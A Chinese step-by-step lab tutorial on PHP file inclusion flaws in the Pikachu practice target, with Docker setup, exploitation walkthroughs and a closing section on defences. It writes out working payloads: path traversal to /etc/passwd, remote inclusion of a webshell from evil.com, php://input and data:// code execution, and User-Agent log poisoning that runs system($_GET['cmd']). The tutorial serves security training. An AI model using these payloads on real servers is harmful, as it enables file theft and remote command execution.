1. 项目概述:为什么我们需要一个“保姆级”的文件包含漏洞教程?
如果你正在学习网络安全,尤其是Web安全渗透测试,那么“Pikachu靶场”这个名字你一定不陌生。它就像我们学编程时的“Hello World”项目,是无数安全爱好者入门实战的第一站。今天我们要啃下的硬骨头,是其中非常经典且危险的一个漏洞类型—— File Inclusion ,也就是文件包含漏洞。我见过太多新手朋友,在接触这个概念时,被各种“本地包含”、“远程包含”、“目录穿越”搞得晕头转向,配置环境就卡住半天,更别提深入理解利用了。所以,这篇“保姆级”教程的目的,就是帮你把这条路彻底铺平,从靶场搭建、漏洞原理、手动利用到工具辅助,一步步带你走通,让你不仅“做出来”,更能“想明白”。
简单来说,文件包含漏洞允许攻击者将服务器上的非预期文件(如系统配置文件、日志文件,甚至远程服务器上的脚本)包含到Web应用程序的执行流程中。这常常是由于应用程序在动态包含文件时,未对用户输入进行严格过滤导致的。在Pikachu靶场中,它精心设计了多个关卡,来模拟真实世界中这种漏洞的不同形态。通过亲手攻破它们,你能最直观地理解开发中的哪些疏忽会打开这扇危险的大门,以及作为防御方又该如何堵上它。无论你是刚拿起Burp Suite的新手,还是想巩固Web安全知识体系的进阶者,这个靶场都是一个绝佳的练手场。接下来,我们就从零开始,把这套“组合拳”打明白。
2. 靶场环境搭建与配置详解
工欲善其事,必先利其器。在开始“攻击”之前,我们得先把“战场”——Pikachu靶场搭建起来。虽然官方和网络上有多种部署方式,但我强烈推荐使用 Docker 进行一键化部署,这能最大程度避免因操作系统、PHP版本、扩展配置差异带来的各种灵异问题,让你专注于漏洞本身。
2.1 为什么选择Docker部署?
传统部署需要你手动安装Web服务器(如Apache/Nginx)、PHP及特定扩展,并配置数据库,过程繁琐且易出错。Docker则通过容器技术,将Pikachu靶场及其所需的所有运行环境(PHP版本、Apache、MySQL、必要的PHP扩展)打包成一个独立的、可移植的镜像。你只需要执行几条命令,一个完整、纯净、一致的实验环境就准备好了。这保证了教程的每一步在你本地复现时,结果都和我演示的完全一致,排除了环境干扰这个最大的学习障碍。
2.2 一步一步搭建你的专属靶场
假设你的电脑上已经安装了Docker和Docker Compose(如果没有,请先搜索“Docker Desktop安装”完成这一步,这是现代开发者的必备技能)。我们采用最简洁高效的方式:
-
获取靶场镜像 :打开你的终端(Windows用PowerShell或CMD,Mac/Linux用Terminal)。我们直接使用社区维护的Pikachu Docker镜像。执行以下命令拉取镜像:
docker pull area39/pikachu这个镜像通常集成了所有必需组件,无需额外配置。
-
运行靶场容器 :镜像拉取完成后,使用一条命令启动它:
docker run -d -p 8080:80 --name pikachu area39/pikachu让我解释一下这条命令的参数,理解了它们,你以后部署任何Docker应用都会得心应手:
-
-d:让容器在后台运行。 -
-p 8080:80:进行端口映射。将容器内部的80端口(Web服务默认端口)映射到你宿主机的8080端口。这意味着你在浏览器访问http://localhost:8080就能看到靶场。 -
--name pikachu:给这个容器起个名字,方便后续管理,比如停止、重启。 -
area39/pikachu:指定我们刚才拉取的镜像名。
-
-
访问与初始化 :打开浏览器,输入
http://localhost:8080。你应该能看到Pikachu的欢迎页面。首次访问可能需要初始化数据库,页面上通常会有明确的提示链接,点击并按指引操作即可,整个过程是全自动的。
注意 :如果你的8080端口已被其他程序占用,启动时会报错。你可以将命令中的
-p 8080:80改为-p 8081:80或任何其他空闲端口。
2.3 环境验证与常见踩坑点
访问成功后,建议先花几分钟浏览一下Pikachu靶场的各个模块,特别是“File Inclusion”所在的位置。这能确保环境完全正常。
我踩过的坑/给你的心得 :
-
端口冲突
:这是最常见的问题。除了换端口,你还可以用
netstat -ano | findstr :8080(Windows)或lsof -i:8080(Mac/Linux)查看哪个进程占用了端口,并决定是否关闭它。 -
数据库连接失败
:如果初始化数据库后页面仍报数据库连接错误,可能是容器内的MySQL服务启动稍慢。可以尝试重启容器:
docker restart pikachu,等待十几秒再刷新页面。 - Docker镜像拉取慢 :由于网络原因,拉取镜像可能很慢。可以为Docker配置国内镜像加速器,具体方法请搜索“Docker国内镜像加速”。
-
文件权限问题(非Docker部署时)
:如果你坚持手动部署,那么靶场目录的文件权限(尤其是写入权限)和PHP配置文件(
php.ini)中的allow_url_fopen、allow_url_include等设置将是噩梦之源。这也是我强烈推荐Docker的原因——它帮你屏蔽了所有这些底层细节。
至此,你的黑客实验室已经准备就绪。接下来,我们深入核心,剖析文件包含漏洞的原理。
3. 文件包含漏洞核心原理深度剖析
知其然,更要知其所以然。文件包含漏洞之所以危险,根源在于PHP等服务器端脚本语言提供的“文件包含”功能被滥用。让我们暂时抛开“攻击”,先从“功能”的角度理解它。
3.1 什么是正常的文件包含?
在Web开发中,为了提高代码的复用性和可维护性,开发者经常会把一些公共代码(比如数据库连接函数、头部导航栏、尾部版权信息)写入单独的文件(如
header.php
、
config.inc.php
)。然后在不同的页面中,通过包含语句来引入这些文件。在PHP中,主要有四个包含函数:
-
include():包含并运行指定文件。如果包含失败(文件不存在),会发出警告(E_WARNING),但脚本会继续执行。 -
require():包含并运行指定文件。如果包含失败,会引发致命错误(E_COMPILE_ERROR),脚本终止。 -
include_once()/require_once():功能同上,但会检查该文件是否已被包含过,避免重复包含导致的函数重定义等问题。
一个正常的用法看起来是这样的:
// 在页面顶部包含数据库配置文件
require(‘config/database.php’);
// 在页面主体包含内容模板
include(‘templates/content_’ . $pageName . ‘.php’);
这里的关键在于,包含文件的
路径
(
‘config/database.php’
)或
文件名的一部分
(
$pageName
)在理想情况下应该是开发者完全可控的,或者经过严格校验的。
3.2 漏洞是如何产生的?
漏洞产生的核心就一句话: 将用户可控的输入,未经任何过滤或过滤不严,直接拼接到了包含文件的路径参数中。
让我们来看一个Pikachu靶场中的简化版漏洞代码(原理相同):
// file: include.php
$file = $_GET[‘filename’]; // 直接获取用户输入的filename参数
include($file);
当用户访问
http://target.com/include.php?filename=hello.php
时,服务器会包含并执行
hello.php
。这看起来没问题。但如果攻击者构造这样的请求呢?
http://target.com/include.php?filename=/etc/passwd
如果服务器是Linux系统,且Web进程有读取权限,那么服务器将尝试包含系统密码文件
/etc/passwd
。由于该文件不是有效的PHP代码,
include()
函数会将其内容直接输出到页面上,导致敏感信息泄露。这就完成了最基本的
本地文件包含(Local File Inclusion, LFI)
。
更深一层
:如果PHP配置项
allow_url_include
被设置为
On
(默认是
Off
),攻击者甚至可以包含一个远程服务器上的文件:
http://target.com/include.php?filename=http://evil.com/shell.txt
此时,服务器会去请求
http://evil.com/shell.txt
,并将其内容作为PHP代码执行。如果
shell.txt
里是一段PHP后门代码,那么攻击者就相当于在目标服务器上远程植入了一个Webshell。这就是危害性更大的
远程文件包含(Remote File Inclusion, RFI)
。
3.3 漏洞的几种常见利用方式
理解了核心,我们来看看攻击者常用的“武器库”:
-
敏感信息读取 :利用LFI读取服务器上的敏感文件。
-
/etc/passwd:Linux系统用户列表。 -
/etc/shadow:Linux用户密码哈希(需要更高权限)。 -
C:\Windows\System32\drivers\etc\hosts:Windows主机文件。 -
…/…/…/…/…/…/…/…/…/var/log/apache2/access.log:Web服务器日志。 -
PHP Session文件(如
/tmp/sess_[sessionid])、数据库配置文件(config.inc.php)、源代码文件(.php文件可能被直接显示源码,如果服务器配置不当)。
-
-
日志文件注入 :这是一种非常经典的LFI到代码执行的技巧。Web服务器(如Apache)的访问日志会记录每一条请求,包括User-Agent头。攻击者可以故意发送一个请求,将PHP代码作为User-Agent的值。这样,这段代码就被写入到了
access.log文件中。然后,再利用LFI漏洞去包含这个日志文件。由于日志文件被当作PHP代码解析,其中的恶意代码就被执行了。 -
利用PHP封装协议 :PHP提供了一系列“封装协议”,可以像访问普通文件一样访问各种输入/输出流。这在文件包含漏洞中用途极大:
-
php://filter:用于读取文件源码。例如php://filter/read=convert.base64-encode/resource=index.php可以以Base64编码的形式读取index.php的源代码,避免其被直接执行。 -
php://input:可以访问请求的原始数据(POST数据)。结合RFI或特定条件,可用于执行任意PHP代码。 -
data://:数据流封装器,允许在URI中直接嵌入数据。例如data://text/plain,<?php phpinfo();?>可以直接执行phpinfo()。
-
-
目录遍历(Path Traversal) :利用
…/这样的序列来向上跳转目录,访问预期目录之外的文件。这是LFI的常见伴随技术。
原理部分就讲到这里,脑子里有了这些概念和攻击画面,我们接下来进入Pikachu靶场,进行真枪实弹的操作。
4. Pikachu File Inclusion关卡实战通关
Pikachu靶场的“File Inclusion”模块通常分为几个子关卡,由易到难,层层递进。我们逐一攻破,并详细记录每一步的思考和操作。
4.1 第一关:本地文件包含(LFI)基础
场景 :页面上可能有一个文件查看功能,或者直接有一个参数让你提交文件名。
操作与观察 :
- 点击进入Pikachu的File Inclusion模块,第一个关卡界面通常很简单,可能有一个输入框,提示你输入一个文件名,或者页面上已经有几个链接。
-
查看URL。你很可能看到类似
…/fileinclude.php?file=file1.php这样的结构。这个file参数就是我们的突破口。 -
尝试基础LFI
:将URL中的
file1.php替换为…/…/…/…/etc/passwd。尝试不同的…/数量,因为我们需要从Web根目录跳转到系统根目录。http://localhost:8080/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd - 结果分析 :如果成功,你会在页面上看到Linux系统的用户列表。这说明漏洞存在,并且Web服务器进程有读取该文件的权限。如果失败,可能是路径深度不对,或者文件不存在(Windows系统),也可能有简单的过滤。
我的心得 :第一关往往是没有任何过滤的,目的是让你建立最直观的感受。在尝试时,使用Burp Suite的Repeater模块会非常方便,可以快速修改、重放请求,无需在浏览器地址栏反复修改。
4.2 第二关:带有文件后缀限制的绕过
场景
:开发者意识到了风险,对用户输入添加了后缀,比如强制加上
.php
。
模拟漏洞代码 :
$file = $_GET[‘filename’] . ‘.php’; // 自动添加.php后缀
include($file);
攻击思路
:我们的目标是包含一个非
.php
文件,比如
…/…/…/etc/passwd
。但直接提交会被变成
…/…/…/etc/passwd.php
,这个文件不存在。这里就需要用到
空字节截断
或
路径截断
技巧,但这两种技巧在PHP版本 >= 5.3.4 和 >= 5.4 后已被修复。Pikachu靶场为了教学,可能模拟了旧版本环境。
利用方式(针对旧PHP版本) :
-
空字节截断
:在URL中,空字节可以表示为
%00。构造filename=…/…/…/etc/passwd%00。服务器获取到的$_GET[‘filename’]是…/…/…/etc/passwd\0,拼接上.php后是…/…/…/etc/passwd\0.php。在C语言风格的字符串处理中,\0是字符串结束符,所以PHP在包含时实际上只看到了…/…/…/etc/passwd,从而绕过了后缀限制。http://localhost:8080/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd%00重要提示 :空字节截断需要PHP版本 < 5.3.4 且
magic_quotes_gpc=off。现代PHP环境已无效,但作为知识必须了解。
现代绕过思路
:如果后缀限制无法截断,我们就要思考其他路径。例如,也许存在一个
upload
目录允许上传
.jpg
文件,我们可以上传一个包含PHP代码的图片马,然后利用LFI包含这个图片马。或者,利用之前提到的
php://filter
协议来读取源代码,它不依赖文件后缀。
4.3 第三关:远程文件包含(RFI)实战
场景
:此关卡通常需要你输入一个远程URL,并可能提示你需要开启
allow_url_include
。
前置条件确认
:首先,我们需要确认目标环境(Pikachu Docker镜像)是否允许RFI。创建一个简单的PHP信息文件
info.php
,内容为
<?php phpinfo();?>
,并将其放在你本地或一个可公开访问的服务器上。例如,你可以用Python快速启一个HTTP服务:在文件所在目录执行
python3 -m http.server 8000
,这样你的
info.php
可以通过
http://你的IP:8000/info.php
访问。
攻击操作 :
-
在Pikachu的RFI关卡输入框或URL参数中,尝试包含你的远程脚本。
http://localhost:8080/vul/fileinclude/fi_remote.php?filename=http://你的IP:8000/info.php -
如果成功,页面会显示
phpinfo()的信息,证明远程文件被包含并作为PHP执行了。
关键点
:RFI成功的两个必要条件:1.
allow_url_include = On
;2. 目标服务器能访问到你的远程服务器(无网络隔离)。在实战中,由于安全意识的提高,
allow_url_include
默认关闭的情况越来越多,因此LFI比RFI更为常见。但RFI的危害是立竿见影的,直接获得代码执行能力。
4.4 第四关:利用PHP封装协议的艺术
当直接包含和远程包含都受限时,PHP内置的封装协议是我们的“瑞士军刀”。
利用
php://filter
读取源码
:
这是最常用的技巧之一,用于读取PHP文件的源代码,而不是执行它。因为直接包含
.php
文件,服务器会执行它,我们看不到代码。通过
php://filter
的转换,我们可以将其内容以文本形式输出。
http://localhost:8080/vul/fileinclude/fi_local.php?filename=php://filter/read=convert.base64-encode/resource=fileinclude.php
这个请求会尝试包含
fileinclude.php
这个文件本身,但通过
convert.base64-encode
过滤器,文件内容在被
include()
函数读取时,会先进行Base64编码。由于编码后的内容不是有效的PHP代码,所以不会被执行,而是以文本形式打印在页面上。你将看到一串Base64字符串,将其解码即可得到
fileinclude.php
的源代码,从而可以分析其过滤逻辑,寻找新的突破口。
利用
php://input
执行代码
:
这个协议需要
allow_url_include
开启,且
enctype
需要配合。它允许你将POST请求的Body部分作为PHP代码执行。
- 使用Burp Suite抓取包含漏洞页面的请求。
-
将请求方法改为
POST。 -
在URL中设置
filename=php://input。 -
在请求Body中写入你想要执行的PHP代码,例如
<?php system(‘whoami’);?>。 -
发送请求。如果环境允许,你将看到命令
whoami的执行结果(当前Web服务器进程的用户名)。
利用
data://
执行代码
:
同样需要
allow_url_include
开启。它更简洁,可以直接在URL中嵌入代码。
http://localhost:8080/vul/fileinclude/fi_local.php?filename=data://text/plain,<?php phpinfo();?>
// 或者使用Base64编码避免特殊字符问题
http://localhost:8080/vul/fileinclude/fi_local.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
通过这几关的实战,你应该已经对文件包含漏洞的利用手法有了全面的认识。但在实际操作中,绝不会一帆风顺,总会遇到各种“拦路虎”。
5. 常见问题、高级技巧与防御思想
在实际测试,甚至CTF比赛中,漏洞点往往不会那么明显。下面分享一些我遇到过的典型问题和进阶技巧。
5.1 常见问题排查清单
当你按照教程操作却失败时,可以按以下顺序排查:
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
包含
/etc/passwd
失败,但页面无报错或报文件不存在
|
1. 路径深度不对。
2. 目标系统是Windows。 3. Web进程无读取权限。 |
1. 尝试更多或更少的
…/
,例如从
…/…/…/…/etc/passwd
尝试到
…/…/etc/passwd
。
2. 尝试Windows路径,如
…/…/…/…/windows/system32/drivers/etc/hosts
。
3. 尝试包含一个已知存在的Web文件,如
…/…/index.php
,确认包含功能本身是否生效。
|
包含
.php
后缀文件时,文件被下载而非执行
|
服务器未正确配置PHP解析。常见于Nginx配置错误,未将
.php
文件传递给PHP-FPM处理。
|
在Pikachu的Docker环境中一般不会出现。如果是自建环境,检查Nginx配置中
location ~ \.php$
部分是否正确。
|
| RFI失败,无法包含远程文件 |
1.
allow_url_include
为
Off
。
2. 服务器出网受限(无法访问外网)。 3. 远程URL被防火墙或安全策略拦截。 |
1. 创建一个
phpinfo()
页面,查看
allow_url_include
和
allow_url_fopen
的值。
2. 尝试从服务器本地包含一个文件(如
http://127.0.0.1/info.php
)来测试网络策略。
3. 检查远程文件是否可公开匿名访问,URL是否正确。 |
使用
%00
空字节截断无效
| PHP版本 >= 5.3.4,空字节截断已被修复。 |
放弃空字节截断,转向其他绕过方法,如利用目录穿越+文件上传,或利用
php://filter
。
|
包含日志文件 (
access.log
) 无反应
|
1. 日志文件路径不对。
2. 日志文件内容过大,包含超时。 3. 日志中的PHP代码被转义或破坏。 |
1. 通过
phpinfo()
查找
$_SERVER[‘DOCUMENT_ROOT’]
和错误日志路径,或尝试常见路径如
/var/log/apache2/access.log
,
/var/log/nginx/access.log
。
2. 尝试在User-Agent中注入一个非常简短的PHP代码,如
<?php echo ‘test’;?>
。
3. 查看日志文件内容,确认注入的代码是否完整写入。 |
5.2 高级利用技巧:从LFI到RCE的链条
单纯的LFI读取文件危害有限,安全人员更关心如何将其升级为远程代码执行(RCE)。这里介绍两个经典链条:
-
LFI + 日志文件注入 :
-
步骤1:确定日志路径
。通过LFI读取
/etc/apache2/apache2.conf或…/…/…/…/proc/self/environ(有时会暴露路径)等信息,推测或确认Web日志的绝对路径。 -
步骤2:污染日志
。使用Burp Suite或curl,向目标网站发送一个请求,并将User-Agent头设置为PHP代码,例如:
User-Agent: <?php system($_GET[‘cmd’]);?>。 -
步骤3:包含日志执行代码
。利用LFI漏洞,包含这个被污染的日志文件:
filename=…/…/…/…/var/log/apache2/access.log。如果成功,页面可能会显示日志内容。 -
步骤4:传递参数执行命令
。在包含日志的URL后面添加
&cmd=whoami,完整的URL类似:…?filename=…/…/…/…/var/log/apache2/access.log&cmd=whoami。如果一切顺利,你将在页面上看到命令执行的结果。
-
步骤1:确定日志路径
。通过LFI读取
-
LFI + PHP Session文件包含 :
-
前提
:你知道PHP Session文件的存储路径(如
/tmp/,/var/lib/php/sessions/)和文件名格式(通常为sess_[你的PHPSESSID])。 -
步骤1:获取自己的Session ID
。通过浏览器Cookie查看
PHPSESSID的值。 -
步骤2:向Session中写入数据
。找到网站上某个能将数据存入
$_SESSION的功能点(如登录、表单提交)。提交的数据中,包含你的PHP代码。 -
步骤3:包含自己的Session文件
。利用LFI包含
…/…/…/…/tmp/sess_你的PHPSESSID。由于Session文件中存储了你提交的数据(包含代码),该代码将被执行。
-
前提
:你知道PHP Session文件的存储路径(如
5.3 防御之道:开发者该如何避免?
作为攻击方,我们学习利用漏洞;作为防御方(开发者),我们更应知道如何修复。文件包含漏洞的防御核心在于 “对用户输入进行严格的白名单校验” 和 “避免动态包含” 。
-
固定或白名单 :如果包含的文件是有限的几个,不要使用用户输入,而是使用一个映射表。
// 错误示范 $page = $_GET[‘page’]; include(‘/pages/’ . $page . ‘.php’); // 正确示范 $allowed_pages = [‘home’, ‘about’, ‘contact’]; $page = $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘/pages/’ . $page . ‘.php’); } else { include(‘/pages/404.php’); } -
避免直接拼接路径 :使用
basename()函数可以去除路径,只保留文件名部分,但这只能防止目录穿越,无法防止包含非预期文件。$file = basename($_GET[‘file’]); // 用户输入 `…/…/etc/passwd` 会被处理为 `passwd` include(‘./includes/’ . $file);但这仍然不安全,因为可以包含
passwd这个文件(如果存在)。所以仍需结合白名单。 -
关闭危险配置 :在
php.ini中,确保以下配置为Off:-
allow_url_fopen = Off -
allow_url_include = Off这能从根本上杜绝RFI漏洞。
-
-
设置包含目录限制 :使用
open_basedir指令将PHP可操作的文件限制在特定目录树内。open_basedir = /var/www/html -
使用绝对路径而非相对路径 :在包含文件时,尽量使用基于项目根目录的绝对路径,减少因相对路径计算错误导致的问题。
通过Pikachu靶场的实战,我们不仅学会了如何攻击,更重要的是理解了漏洞产生的根源和防御的方法。这才是安全学习的完整闭环——知己知彼,方能百战不殆。
371

被折叠的 条评论
为什么被折叠?



